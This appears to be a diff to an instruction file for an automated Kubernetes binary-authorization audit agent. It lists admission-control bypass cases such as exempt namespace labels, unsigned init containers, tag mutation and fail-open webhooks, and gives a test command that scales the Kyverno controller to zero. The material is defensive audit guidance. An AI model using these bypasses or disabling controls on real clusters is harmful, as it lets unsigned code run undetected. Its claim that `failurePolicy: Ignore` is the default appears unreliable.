+- **US EO 14028 / EU Cyber Resilience Act SBOM Attestation Non-Compliance (Regulatory — Active 2025):** Federal contractors and EU market participants are now required to produce and attach SBOM attestations (SPDX or CycloneDX) to every container image as a Sigstore attestation. Kyverno 1.11+ supports `verifyImages[].attestations` rules that block admission if the SBOM attestation is absent or fails schema validation; most clusters have not yet added this rule. Test by: `cosign verify-attestation --type spdxjson <image>` — absence of output is a compliance blocker; in Kyverno: add `attestations: [{predicateType: "https://spdx.dev/Document", conditions: [...]}]` to the `verifyImages` rule and attempt to deploy an image without an SBOM attestation — it must be rejected. Finding threshold: any production workload image lacking a cosign-attached SPDX or CycloneDX attestation when the cluster serves regulated or federal workloads.
+
+---
+
+## §EDGE-CASE-MATRIX
+
+The 5 attack cases in binary authorization that automated scanners and naive manual review universally miss. MANDATORY checks — do not skip.
+
+| # | Edge Case | Why Scanners Miss It | Concrete Test |
+|---|-----------|----------------------|---------------|
+| 1 | Namespace label exemption bypass | Kyverno/OPA policies often exclude `kube-system` or namespaces with specific labels; attacker creates namespace with the exempt label | Create namespace with `admission.kubernetes.io/ignore: "true"` or equivalent exemption label; deploy unsigned image inside it — policy must still block |
+| 2 | Init container and ephemeral container blind spots | Policy rules match `spec.containers[]` but forget `spec.initContainers[]` and `spec.ephemeralContainers[]` | Submit a Pod with a signed main container and an unsigned `initContainer`; scanner reports clean while unsigned code runs first |
+| 3 | Image digest pinning bypass via tag mutation at pull time | Digest is verified at admission but `imagePullPolicy: Always` with a tag reference re-pulls at runtime; attacker poisons registry tag between admission and runtime | Pin every reference to `image@sha256:<digest>`; test that admission webhook rejects `image:tag` without digest — even if cosign signature exists |
+| 4 | Admission webhook failure-open configuration | `admissionReviewVersions` misconfiguration or TLS error causes webhook to time out; `failurePolicy: Ignore` (the default) lets the unsigned image through silently | Simulate webhook unavailability (`kubectl scale deployment kyverno -n kyverno --replicas=0`); attempt to deploy unsigned image — it must be blocked by `failurePolicy: Fail` |
+| 5 | Multi-arch manifest list signing gap | CI pipeline signs the `linux/amd64` manifest but not the multi-arch index; Kubernetes pulls the index and selects an unsigned platform-specific digest | Run `cosign verify <image>` for the manifest list digest (not just the amd64 digest); all platform variants must carry a valid signature |
+
+---
+
+## §TEMPORAL-THREATS
+
+Threats materialising in the 2025–2030 window that binary authorization defences designed today must account for.
+
+| Threat | Est. Timeline | Relevance to Binary Auth | Prepare Now By |
+|--------|--------------|--------------------------|----------------|
+| Cryptographically Relevant Quantum Computer (CRQC) | 2028–2032 | RSA/ECDSA keys used in Notary v1 and early cosign keyful signing will be broken; harvest-now-attack-later active today | Migrate to keyless sigstore (Fulcio + Rekor) with ECDSA P-384 minimum; inventory all RSA-2048 signing keys and schedule rotation to ML-DSA (FIPS 204) |
+| Sigstore transparency log compromise | 2025–2027 | If Rekor is compromised, attacker can forge valid inclusion proofs; keyless signing trust anchored to Rekor | Implement `tlog: false` + bring-your-own PKI for regulated workloads; monitor Rekor checkpoint consistency proofs |
+| AI-assisted supply chain attacks (LLM-generated malicious images) | 2025–2027 (active) | LLMs assist attackers in generating convincing, policy-compliant container images that pass SBOM checks but hide payloads | Add runtime behavioural controls (Falco/Tetragon) as second layer; do not rely on static admission checks alone |
+| Mandatory SBOM + build provenance (US EO 14028 / EU CRA) | 2025–2026 (active) | SBOM attestations are becoming legally required per container image; Kyverno can now verify SBOM attestations as part of admission | Require `cosign attest --type spdxjson` in CI; add Kyverno `verifyImages[].attestations` rule for SBOM type |
+| OCI Reference Types / Referrers API adoption | 2025–2026 | Admission controllers that only check legacy `tag.sig` suffix will miss signatures stored as OCI referrers | Upgrade to Kyverno 1.13+ or notation 1.x that reads the OCI referrers API; test against registries with referrers support (ORAS, GHCR, ECR) |
+
+---
+
+## §DETECTION-GAP
+
+What current binary authorization monitoring CANNOT detect, and what to build to close each gap.
+
+**Standard gaps MUST be checked:**
+
+- **Admission webhook audit log suppression**: Webhook decision events appear in the Kubernetes API audit log, but `audit-policy.yaml` with overly broad `omitStages` or `level: None` rules can silently drop admission events. Need: ensure audit policy logs `RequestResponse` level for `admissionwebhooks` resource group; alert on any admission webhook decision that lacks a corresponding audit event.
+- **Post-admission image substitution (registry tag mutation)**: The admission controller verifies the image at deploy time, but if `imagePullPolicy: Always` with a mutable tag is used, a subsequent Pod restart silently pulls a new, potentially unsigned image. Need: enforce image digest pinning (`image@sha256:`) at admission; add Kyverno rule rejecting any image reference without a digest suffix.
+- **Approved registry allowlist drift**: The registry allowlist is defined in policy YAML; when a new registry is added to manifests without updating the policy, it silently falls through if the `deny` rule has a gap. Need: CI gate — diff all `image:` values in merged PRs against the approved registry list; fail build on mismatch before cluster admission.
+- **Keyless signing identity sprawl**: Keyless signatures are scoped to a subject (OIDC identity); if a PR renames the workflow file or changes the branch, the expected subject no longer matches and old images appear unsigned. Need: Kyverno policy must include `subject` and `issuer` assertions; log all signature verification failures with the observed vs. expected subject for triage.
+- **Cross-agent chain — unsigned image + overprivileged pod**: Binary auth finding (unsigned image allowed) + RBAC finding (pod runs as root with hostPID) = container escape to node. Neither agent sees this in isolation. Need: CISO orchestrator Phase 1 synthesis — correlate binary-auth-validator findings with rbac-auditor and pod-security-checker findings before Phase 2.
+
+---
+
+## §ZERO-MISS-MANDATE
+
+This agent CANNOT declare any attack class clean without explicit evidence of checking. For each item below, output one of:
+- `CHECKED: [N files] | [patterns used] | CLEAN`
+- `CHECKED: [N files] | [patterns used] | [N findings, all fixed]`
+- `SKIPPED: [reason — must be "not applicable: [evidence]"]`
+
+**Silent skip = FAILED COVERAGE.** The orchestrator flags this as a quality gap.
+
+**Attack classes that MUST be accounted for:**
+
+1. Missing or permissive admission controller (`failurePolicy: Ignore` or no webhook)
+2. Unsigned image allowed through (no `verifyImages` rule or Binary Authorization disabled)
+3. Floating tag (`image:latest` or no digest pin)
+4. Unapproved registry source (image not in allowlist)
+5. Init/ephemeral container blind spot (policy only covers `spec.containers[]`)
+6. Namespace label exemption that can be exploited
+7. Signing key algorithm weakness (RSA-2048 or SHA-1 in trust store)
+8. SBOM attestation absent when required by policy
+
+The output findings JSON MUST include a `coverageManifest` key:
+```json
+{
+  "coverageManifest": {
+    "attackClassesCovered": [
+      { "class": "Missing admission controller", "filesReviewed": 12, "patterns": ["admissionwebhook", "kyverno", "gatekeeper", "binaryauthorization"], "result": "CLEAN" },
+      { "class": "Floating image tag", "filesReviewed": 34, "patterns": ["image:.*latest", "image:.*tag without digest"], "result": "3 findings, all fixed" }
+    ],
+    "filesReviewed": 34,
+    "negativeAssertions": [
+      "Floating tag: grepped image:.*latest across 34 k8s manifests — 3 matches remediated, 0 remaining",
+      "Init container blind spot: verified Kyverno verifyImages rule covers initContainers[] — CLEAN"
+    ],
+    "uncoveredReason": {}
+  }
+}
+```